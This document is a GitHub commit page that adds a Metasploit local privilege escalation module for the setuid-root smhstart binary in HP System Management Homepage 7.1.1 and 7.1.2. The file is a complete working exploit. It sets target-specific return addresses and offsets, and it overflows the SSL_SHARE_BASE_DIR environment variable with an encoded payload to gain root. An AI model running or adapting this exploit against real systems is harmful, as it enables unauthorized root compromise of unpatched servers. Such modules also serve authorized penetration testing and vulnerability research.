Skip to content

Commit 30111e3

Browse files
author
agix
committed
hpsmh smhstart local exploit BOF
1 parent 5fd996f commit 30111e3

File tree

1 file changed

+89
-0
lines changed

1 file changed

+89
-0
lines changed
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/file'
12+
require 'msf/core/post/linux/priv'
13+
require 'msf/core/exploit/local/linux_kernel'
14+
require 'msf/core/exploit/local/linux'
15+
require 'msf/core/exploit/local/unix'
16+
require 'msf/core/exploit/exe'
17+
18+
#load 'lib/msf/core/post/file.rb'
19+
#load 'lib/msf/core/exploit/local/unix.rb'
20+
#load 'lib/msf/core/exploit/local/linux.rb'
21+
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
22+
23+
class Metasploit4 < Msf::Exploit::Local
24+
25+
include Msf::Exploit::EXE
26+
include Msf::Post::File
27+
include Msf::Post::Common
28+
29+
include Msf::Exploit::Local::Linux
30+
31+
def initialize(info={})
32+
super( update_info( info, {
33+
'Name' => 'HP System Management Homepage Local Privilege Escalation',
34+
'Description' => %q{
35+
Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
36+
},
37+
'License' => MSF_LICENSE,
38+
'Author' =>
39+
[
40+
'agix' #@agixid
41+
],
42+
'Platform' => [ 'linux' ],
43+
'Arch' => [ ARCH_X86 ],
44+
'SessionTypes' => [ 'shell', 'meterpreter' ],
45+
'Payload' =>
46+
{
47+
'Space' => 227,
48+
'BadChars' => "\x00\x22"
49+
},
50+
'References' =>
51+
[
52+
['OSVDB', '91812'] #not exactly but there is none...
53+
],
54+
'Targets' =>
55+
[
56+
[ 'Hpsmh 7.1.1',
57+
{
58+
'Arch' => ARCH_X86,
59+
'CallEsp' => 0x080c86eb, #call esp
60+
'Offset' => 64
61+
}
62+
],
63+
[ 'Hpsmh 7.1.2',
64+
{
65+
'Arch' => ARCH_X86,
66+
'CallEsp' => 0x080c8b9b, #call esp
67+
'Offset' => 64
68+
}
69+
],
70+
],
71+
'DefaultTarget' => 0,
72+
'DisclosureDate' => "Mar 30 2013",
73+
}
74+
))
75+
register_options([
76+
OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
77+
], self.class)
78+
end
79+
80+
def exploit
81+
pl = payload.encoded
82+
padding = rand_text_alpha(target['Offset'])
83+
ret = [target['CallEsp']].pack('V')
84+
exploit = Rex::Text.encode_base64("#{pl}#{ret}\xe8\x14\xff\xff\xff#{padding}")
85+
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
86+
puts cmd_exec("#{datastore['smhstartDir']}/smhstart")
87+
end
88+
89+
end

0 commit comments

Comments
 (0)